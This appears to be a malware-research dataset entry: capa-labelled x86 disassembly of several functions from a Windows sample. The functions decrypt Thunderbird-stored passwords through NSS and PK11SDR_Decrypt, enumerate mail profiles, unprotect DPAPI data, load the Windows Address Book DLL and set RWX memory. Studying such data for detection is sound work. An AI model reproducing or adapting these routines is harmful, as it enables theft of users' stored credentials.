joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000dcf4
Capabilities:
Access pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push ebx
push esi
push edi
push dword [ebp + 8]
xor ebx, ebx
xor eax, eax
mov dword [esp + 0x18], ebx
call fcn.1001282f
mov esi, eax
mov dword [esp + 0x18], esi
cmp esi, ebx
je 0x1000dd99
mov dword [esp + 0x10], 0x57
push 0x20
push esi
call dword [sym.imp.SHLWAPI.dll_StrChrA]
mov edi, eax
cmp edi, ebx
je 0x1000dd34
mov byte [edi], bl
inc edi
push str.__t_r_n
push esi
call dword [sym.imp.SHLWAPI.dll_StrTrimA]
cmp byte [esi], bl
je 0x1000dd80
push 1
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x1c]
push eax
mov eax, esi
call fcn.10003bbb
mov dword [esp + 0x10], eax
cmp eax, ebx
jne 0x1000dd80
push dword [esp + 0x14]
call dword [sym.imp.ntdll.dll_RtlImageNtHeader]
cmp eax, ebx
je 0x1000dd78
mov ecx, 0x14c
cmp word [eax + 4], cx
je 0x1000dd86
mov dword [esp + 0x10], 0xb
mov esi, edi
cmp edi, ebx
jne 0x1000dd22
push dword [esp + 0x18]
push ebx
push dword [0x1002d128]
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x1000dda1
mov dword [esp + 0x10], 8
cmp dword [esp + 0x10], ebx
jne 0x1000de15
push 0x1ab
call fcn.1001071e
mov edi, eax
cmp edi, ebx
je 0x1000de0d
push dword [esp + 0x1c]
xor eax, eax
push dword [esp + 0x18]
mov ecx, edi
push ebx
call fcn.10001955
mov dword [esp + 0x10], eax
cmp eax, ebx
jne 0x1000ddfd
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
push ebx
push dword [0x1002d240]
inc esi
mov eax, esi
mov edx, edi
call fcn.10014147
push 3
push esi
push edi
push 0x1002e1f9
call fcn.10003d65
mov dword [esp + 0x10], eax
push edi
push ebx
push dword [0x1002d128]
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x1000de15
mov dword [esp + 0x10], 8
cmp dword [esp + 0x14], ebx
je 0x1000de2c
push dword [esp + 0x14]
push ebx
push dword [0x1002d128]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x1000e11d
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push dword [ebp + 8]
xor eax, eax
xor edi, edi
call fcn.1001282f
mov esi, eax
cmp esi, edi
je 0x1000e16c
lea eax, [ebp + 8]
push eax
push edi
push esi
push 0x1000e089
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp eax, edi
je 0x1000e154
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1000e16f
push esi
push edi
push dword [0x1002d128]
call dword [sym.imp.KERNEL32.dll_HeapFree]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x1000e16f
push 8
pop edi
mov eax, edi
pop edi
pop esi
pop ebp
ret 4
Function at 0x1000e4d2
Capabilities:
Link many functions at runtime
Query environment variable
Set environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x20410
call sub.ntdll.dll__chkstk
push ebx
xor ebx, ebx
xor eax, eax
cmp dword [ebp + 8], ebx
je 0x1000e60b
push esi
push edi
push 0xfffc
mov word [ebp - 0x10208], ax
lea eax, [ebp - 0x10206]
push ebx
push eax
call sub.ntdll.dll_memset
add esp, 0xc
push 0x7fff
lea eax, [ebp - 0x10208]
push eax
mov edi, 0x1002743c
push edi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
push dword [ebp + 8]
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [ebp - 0x10208]
push eax
lea eax, [ebp - 0x20410]
push str._ws__ws
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x20410]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
push str.nss3.dll
push dword [ebp + 8]
lea eax, [ebp - 0x208]
push str._ws_ws
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edi, eax
cmp edi, ebx
je 0x1000e5d2
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.NSS_Init
push edi
call esi
push str.NSS_Shutdown
push edi
mov dword [0x1002d4c4], eax
call esi
push str.PK11_GetInternalKeySlot
push edi
mov dword [0x1002d4cc], eax
call esi
push str.PK11_FreeSlot
push edi
mov dword [0x1002d4b8], eax
call esi
push str.PK11_Authenticate
push edi
mov dword [0x1002d4c0], eax
call esi
push str.PK11SDR_Decrypt
push edi
mov dword [0x1002d4c8], eax
call esi
mov dword [0x1002d4bc], eax
pop edi
pop esi
cmp dword [0x1002d4c4], ebx
je 0x1000e609
cmp dword [0x1002d4cc], ebx
je 0x1000e609
cmp dword [0x1002d4b8], ebx
je 0x1000e609
cmp dword [0x1002d4c8], ebx
je 0x1000e609
cmp dword [0x1002d4bc], ebx
je 0x1000e609
cmp dword [0x1002d4c0], ebx
je 0x1000e609
xor eax, eax
inc eax
jmp 0x1000e60b
xor eax, eax
pop ebx
leave
ret 4
Function at 0x1000e610
Capabilities:
Decode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1fbc
call sub.ntdll.dll__chkstk
push ebx
push esi
mov eax, 0x1fa0
push eax
mov dword [ebp - 4], eax
xor ebx, ebx
lea eax, [ebp - 0x1fbc]
push ebx
push eax
mov esi, 0x10027417
call sub.ntdll.dll_memset
add esp, 0xc
push ebx
push ebx
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x1fbc]
push eax
push 1
push dword [ebp + 8]
call sub.ntdll.dll_strlen
pop ecx
push eax
push dword [ebp + 8]
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
je 0x1000e6f5
push edi
call dword [0x1002d4b8]
mov edi, eax
cmp edi, ebx
je 0x1000e6ef
push ebx
push 1
push edi
call dword [0x1002d4c8]
add esp, 0xc
test eax, eax
jne 0x1000e6e0
lea eax, [ebp - 0x1fbc]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x14], eax
push ebx
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x1c]
push eax
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], ebx
call dword [0x1002d4bc]
add esp, 0xc
test eax, eax
jne 0x1000e6d9
push dword [ebp - 8]
lea eax, [ebp - 0x1fbc]
push dword [ebp - 0xc]
push eax
call sub.ntdll.dll_memcpy
mov eax, dword [ebp - 8]
add esp, 0xc
mov byte [ebp + eax - 0x1fbc], bl
lea esi, [ebp - 0x1fbc]
jmp 0x1000e6e5
mov esi, str.Error_on_decryption_
jmp 0x1000e6e5
mov esi, str.Error_on_authenticate_
push edi
call dword [0x1002d4c0]
pop ecx
jmp 0x1000e6f4
mov esi, str.Get_Internal_Slot_error_
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 4
Function at 0x1000e99b
Capabilities:
Enumerate files on windows
Query environment variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x884
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push edi
mov edi, 0x104
push edi
lea eax, [esp + 0x68c]
push eax
push str._PROGRAMFILES_
mov dword [esp + 0x1c], 2
call esi
lea eax, [esp + 0x688]
push str.Mozilla_Thunderbird
push eax
call sub.ntdll.dll_wcscat
pop ecx
pop ecx
lea eax, [esp + 0x688]
push eax
call fcn.1000e4d2
test eax, eax
je 0x1000eae8
push edi
lea eax, [esp + 0x484]
push eax
push str._USERPROFILE_
call esi
lea eax, [esp + 0x480]
push str.AppDataRoamingThunderbirdProfiles
push eax
call sub.ntdll.dll_wcscat
pop ecx
pop ecx
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x484]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov ebx, eax
test byte [esp + 0x28], 0x10
je 0x1000ead4
mov esi, str..default
lea edi, [esp + 0x14]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea eax, [esp + 0x14]
push eax
movsw word es:[edi], word [esi]
call sub.ntdll.dll_wcslen
pop ecx
mov esi, eax
push esi
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x5c]
push eax
call sub.ntdll.dll_wcslen
sub eax, esi
pop ecx
lea eax, [esp + eax*2 + 0x5c]
push eax
call sub.ntdll.dll_wcsncmp
add esp, 0xc
test eax, eax
jne 0x1000ead4
lea eax, [esp + 0x480]
push eax
lea eax, [esp + 0x27c]
push eax
call sub.ntdll.dll_wcscpy
lea eax, [esp + 0x280]
push eax
call sub.ntdll.dll_wcslen
xor ecx, ecx
mov word [esp + eax*2 + 0x282], cx
lea eax, [esp + 0x60]
push eax
lea eax, [esp + 0x288]
push eax
call sub.ntdll.dll_wcscat
add esp, 0x14
push dword [ebp + 8]
lea eax, [esp + 0x27c]
push eax
call fcn.1000e6fd
test eax, eax
je 0x1000ead4
and dword [esp + 0x10], 0
lea eax, [esp + 0x28]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x1000ea2f
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x1000eaf5
Capabilities:
Accept command line arguments
Terminate process
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
push ebx
push esi
xor esi, esi
push edi
mov dword [esp + 0x14], esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea ecx, [esp + 0x14]
push ecx
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
cmp dword [esp + 0x14], 3
mov edi, eax
jne 0x1000ec25
push str.CBmWzIJQqV
push dword [edi + 4]
call sub.ntdll.dll_wcscmp
pop ecx
pop ecx
test eax, eax
jne 0x1000ec25
lea eax, [esp + 0x18]
push eax
call fcn.10012f6d
test eax, eax
je 0x1000ec1e
lea eax, [esp + 0xc]
push eax
push 1
push esi
call dword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
test eax, eax
jne 0x1000ec0b
push dword [esp + 0xc]
call fcn.1000e99b
test eax, eax
jne 0x1000ec01
push esi
push 0x80
push 2
push esi
push 3
push 0xc0000000
push dword [edi + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x1000ec01
mov eax, dword [esp + 0xc]
call fcn.10001454
mov dword [esp + 0x10], eax
cmp eax, esi
je 0x1000ebf3
push eax
call fcn.100012ea
mov edi, eax
cmp edi, esi
je 0x1000ebf3
mov eax, dword [esp + 0xc]
mov edx, dword [eax]
push esi
push esi
push esi
xor ecx, ecx
push ecx
push eax
mov dword [esp + 0x38], esi
call dword [edx + 0x14]
mov eax, dword [esp + 0xc]
mov ecx, dword [eax]
lea edx, [esp + 0x10]
push edx
push dword [esp + 0x14]
push edi
push eax
call dword [ecx + 0xc]
push esi
lea eax, [esp + 0x20]
push eax
push dword [esp + 0x18]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call fcn.100012ff
push ebx
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0xc]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
cmp dword [esp + 0x18], esi
je 0x1000ec18
cmp dword [esp + 0x18], 1
jne 0x1000ec1e
call dword [sym.imp.ole32.dll_CoUninitialize]
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000f30b
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
lea eax, [ebp - 8]
push eax
push str.SoftwareMicrosoftWABDLLPath
xor edi, edi
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 4], edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov esi, eax
cmp esi, edi
jne 0x1000f3de
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
push ebx
lea eax, [ebp - 4]
push eax
push edi
push edi
push dword [ebp - 8]
call esi
cmp dword [ebp - 4], edi
je 0x1000f3d1
push dword [ebp - 4]
call fcn.100012ea
mov ebx, eax
mov dword [ebp - 0xc], ebx
cmp ebx, edi
je 0x1000f3d1
lea eax, [ebp - 4]
push eax
push ebx
push edi
push dword [ebp - 8]
call esi
mov esi, eax
cmp esi, edi
jne 0x1000f3c7
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, eax
cmp ebx, edi
je 0x1000f3bf
push 0x1002f250
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, edi
je 0x1000f3af
push edi
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call eax
test eax, eax
jne 0x1000f3a5
mov eax, dword [ebp + 8]
mov dword [eax], ebx
jmp 0x1000f3c7
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x1000f3b2
push 0x7f
pop esi
cmp esi, edi
je 0x1000f3c7
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x1000f3c7
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
push dword [ebp - 0xc]
call fcn.100012ff
jmp 0x1000f3d4
push 8
pop esi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
pop edi
mov eax, esi
pop esi
leave
ret 0xc
Function at 0x1000f64e
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push edi
push 0x57
pop ebx
xor eax, eax
push 6
pop ecx
lea edi, [ebp - 0x28]
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x2c], eax
cmp edx, 0x129803f0
je 0x1000f6c3
cmp edx, 0x132e03f0
je 0x1000f6b3
cmp edx, 0x13c403f0
je 0x1000f6a3
cmp edx, 0x142803f0
jne 0x1000f847
mov dword [ebp + 0x10], 0x1002f23c
mov dword [ebp - 0x14], 0x19
jmp 0x1000f6d1
mov dword [ebp + 0x10], 0x1002f241
mov dword [ebp - 0x14], 0x6e
jmp 0x1000f6d1
mov dword [ebp + 0x10], 0x1002f233
mov dword [ebp - 0x14], 0x50
jmp 0x1000f6d1
mov dword [ebp + 0x10], 0x1002f246
mov dword [ebp - 0x14], 0x8f
mov edi, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 0xc]
push 0x1002f2c2
push edi
push esi
call fcn.1000f5f3
mov dword [ebp - 0x24], eax
test eax, eax
je 0x1000f846
push 0x1002f2c9
push edi
push esi
call fcn.1000f5f3
push 0x1002f2e2
push edi
push esi
mov dword [ebp - 0x20], eax
call fcn.1000f5f3
push 0x1002f2dd
push edi
push esi
mov dword [ebp - 0x18], eax
call fcn.1000f5f3
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
mov esi, eax
test esi, esi
je 0x1000f76a
push esi
call edi
lea eax, [eax + eax + 6]
push eax
call fcn.100012ea
mov ebx, eax
test ebx, ebx
je 0x1000f75f
push 0x1002f4cc
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x14]
push eax
push 1
push ebx
call dword [sym.imp.SHLWAPI.dll_StrToIntExW]
push ebx
call fcn.100012ff
push esi
mov esi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
call esi
jmp 0x1000f770
mov esi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
push 0x1002f2d3
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call fcn.1000f5f3
mov ebx, eax
test ebx, ebx
je 0x1000f80e
push ebx
call edi
cmp eax, 1
jbe 0x1000f80e
shr eax, 1
push eax
mov dword [ebp - 0x10], eax
call fcn.100012ea
xor edi, edi
mov dword [ebp - 0xc], eax
cmp eax, edi
je 0x1000f80b
mov ecx, ebx
call fcn.10012666
test eax, eax
je 0x1000f803
lea eax, [ebp - 8]
push eax
push edi
push edi
push edi
push dword [ebp + 0x18]
lea eax, [ebp - 0x10]
push edi
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x1000f803
mov eax, dword [ebp - 8]
add eax, 2
push eax
call fcn.100012ea
mov dword [ebp - 0x1c], eax
cmp eax, edi
je 0x1000f7fa
push dword [ebp - 8]
push dword [ebp - 4]
push eax
call sub.ntdll.dll_memcpy
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0x1c]
shr eax, 1
add esp, 0xc
xor ecx, ecx
mov word [edx + eax*2], cx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_LocalFree]
push dword [ebp - 0xc]
call fcn.100012ff
push ebx
call esi
push dword [ebp + 0x10]
lea eax, [ebp - 0x2c]
push dword [ebp + 8]
call fcn.1000ec67
xor edi, edi
mov ebx, eax
cmp dword [ebp - 0x1c], edi
je 0x1000f82d
push dword [ebp - 0x1c]
call fcn.100012ff
cmp dword [ebp - 0x18], edi
je 0x1000f837
push dword [ebp - 0x18]
call esi
cmp dword [ebp - 0x20], edi
je 0x1000f841
push dword [ebp - 0x20]
call esi
push dword [ebp - 0x24]
call esi
pop esi
pop edi
mov eax, ebx
pop ebx
leave
ret 0x14
Function at 0x1000fd2d
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push ebx
push esi
push edi
push 0x208
call fcn.100012ea
xor ebx, ebx
mov dword [esp + 0x14], eax
mov dword [esp + 0x1c], ebx
cmp eax, ebx
jne 0x1000fd59
push 8
pop eax
jmp 0x1000fe39
push ebx
push ebx
push ebx
push ebx
lea ecx, [esp + 0x28]
push ecx
push eax
push ebx
push dword [ebp + 8]
mov edi, 0x104
mov dword [esp + 0x30], ebx
mov dword [esp + 0x38], edi
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
lea esi, [edi - 1]
jmp 0x1000fdc5
cmp eax, ebx
jne 0x1000fda3
push 0x1002f6e0
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
push eax
push 0x1002f6e0
push dword [esp + 0x1c]
call dword [sym.imp.SHLWAPI.dll_StrCmpNIW]
test eax, eax
je 0x1000fdcb
inc dword [esp + 0x10]
push ebx
push ebx
push ebx
push ebx
lea eax, [esp + 0x28]
push eax
push dword [esp + 0x28]
mov dword [esp + 0x30], edi
push dword [esp + 0x28]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
cmp eax, esi
jne 0x1000fd7f
jmp 0x1000fdd6
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.1000fa30
push edi
push dword [esp + 0x18]
mov dword [esp + 0x18], ebx
push ebx
jmp 0x1000fe21
lea eax, [esp + 0x1c]
push eax
push 0x20019
push ebx
push dword [esp + 0x20]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1000fe0a
push dword [ebp + 0xc]
push dword [esp + 0x20]
call fcn.1000fd2d
push dword [esp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc dword [esp + 0x10]
push edi
push dword [esp + 0x18]
push dword [esp + 0x18]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
cmp eax, esi
jne 0x1000fde2
push dword [esp + 0x14]
call fcn.100012ff
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x1000ffc3
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push 0x80
push 3
push ebx
push 1
push SysReAllocString
push dword [ebp + 8]
xor edi, edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp + 8], eax
cmp eax, 0xffffffff
je 0x10010042
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp esi, ebx
jne 0x10010004
mov esi, 0xe8
jmp 0x1001004a
lea eax, [esi + 1]
push eax
call fcn.100012ea
mov edi, eax
cmp edi, ebx
je 0x10010042
push ebx
lea eax, [ebp - 4]
push eax
push esi
push edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10010042
cmp esi, dword [ebp - 4]
je 0x10010031
push 0x1e
pop esi
jmp 0x1001004a
mov eax, dword [ebp + 0xc]
mov byte [esi + edi], bl
mov dword [eax], edi
mov eax, dword [ebp + 0x10]
mov dword [eax], esi
xor esi, esi
jmp 0x1001004a
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
cmp dword [ebp + 8], 0xffffffff
je 0x10010059
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp edi, ebx
je 0x10010067
cmp esi, ebx
je 0x10010067
push edi
call fcn.100012ff
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 0xc
Function at 0x100100a1
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 0x14]
push ebx
push esi
and al, 3
movzx esi, al
mov eax, dword [ebp + 0x14]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileW]
neg esi
push 0
sbb esi, esi
push 0x80
and esi, 3
inc esi
push esi
push 0
shr eax, 8
push eax
mov ebx, 0xc0000000
push ebx
push dword [ebp + 8]
mov dword [ebp - 0xc], 0x1388
call edi
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0x1001014c
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 8], eax
cmp eax, 0x20
jne 0x10010146
test byte [ebp + 0x14], 4
je 0x10010146
cmp dword [ebp - 0xc], 0
jle 0x10010146
push 0xc8
push dword [0x1002d23c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x1001013f
sub dword [ebp - 0xc], 0xc8
xor eax, eax
push eax
push 0x80
push esi
push eax
push eax
push ebx
push dword [ebp + 8]
call edi
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
je 0x100100eb
jmp 0x10010146
mov dword [ebp - 8], 0x5b4
cmp dword [ebp - 4], 0xffffffff
je 0x1001019b
test byte [ebp + 0x14], 2
je 0x10010161
push 2
push 0
push 0
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10010189
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
and dword [ebp - 8], 0
jmp 0x10010192
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 8], eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x100106e5
Capabilities:
Create directory

Disassembly:
push esi
push edi
push dword [esp + 0xc]
xor edi, edi
call fcn.1000ff71
mov esi, eax
cmp esi, edi
je 0x10010714
push edi
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x1001070c
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
push esi
call fcn.100012ff
jmp 0x10010717
push 8
pop edi
mov eax, edi
pop edi
pop esi
ret 4

Function at 0x1001071e
Capabilities:
Get common file path

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetTempPathA]
push esi
push edi
xor esi, esi
push esi
push esi
call ebx
mov edi, eax
test edi, edi
je 0x10010780
lea eax, [edi + 0x1d]
push eax
call fcn.100012ea
mov esi, eax
test esi, esi
je 0x10010780
push esi
push edi
call ebx
test eax, eax
je 0x10010778
push esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
add eax, dword [esp + 0x14]
push eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
je 0x10010778
push 0x1002e443
push esi
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionA]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x10010780
push esi
call fcn.100012ff
xor esi, esi
pop edi
mov eax, esi
pop esi
pop ebx
ret 4

Function at 0x10010788
Capabilities:
Create directory
Get common file path

Disassembly:
push ebp
push esi
mov ebp, 0x2365
push ebp
call fcn.1001071e
mov esi, eax
test esi, esi
je 0x1001080c
push ebx
push esi
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyA]
test eax, eax
je 0x100107c4
lea ecx, [esi + 4]
cmp eax, ecx
jbe 0x100107c4
cmp dword [eax - 5], 0x776f4c5c
jne 0x100107c4
push eax
add eax, 0xfffffffc
push eax
call ebx
push edi
mov edi, dword [sym.imp.SHLWAPI.dll_PathFindExtensionA]
push esi
call edi
push 0
push esi
mov byte [eax], 0
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x10010802
push esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor eax, ebp
push eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
je 0x10010802
push 0x1002e443
push esi
call edi
push eax
call ebx
jmp 0x1001080a
push esi
call fcn.100012ff
xor esi, esi
pop edi
pop ebx
mov eax, esi
pop esi
pop ebp
ret
Function at 0x100108d7
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
and dword [ebp - 4], 0
and dword [ebp - 8], 0
cmp byte [0x1002d22c], 6
push ebx
mov ebx, dword [ebp + 8]
mov dword [ebp + 8], 4
ja 0x10010959
test esi, esi
je 0x10010959
mov eax, dword [ebx + 0x18]
test dword [eax + 4], 0x80000000
jne 0x10010912
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp + 8], eax
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push dword [ebp + 8]
push esi
call edi
mov dword [ebp - 8], eax
test eax, eax
je 0x10010958
mov eax, dword [ebx + 0x18]
mov dword [ebx + 0x20], esi
test dword [eax + 4], 0x80000000
jne 0x10010945
mov eax, dword [ebp + 8]
mov byte [eax + esi - 2], 0x7e
jmp 0x1001094b
or dword [esi], 0x40000000
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp + 8]
push esi
call edi
pop edi
mov eax, dword [ebp - 8]
pop ebx
leave
ret 4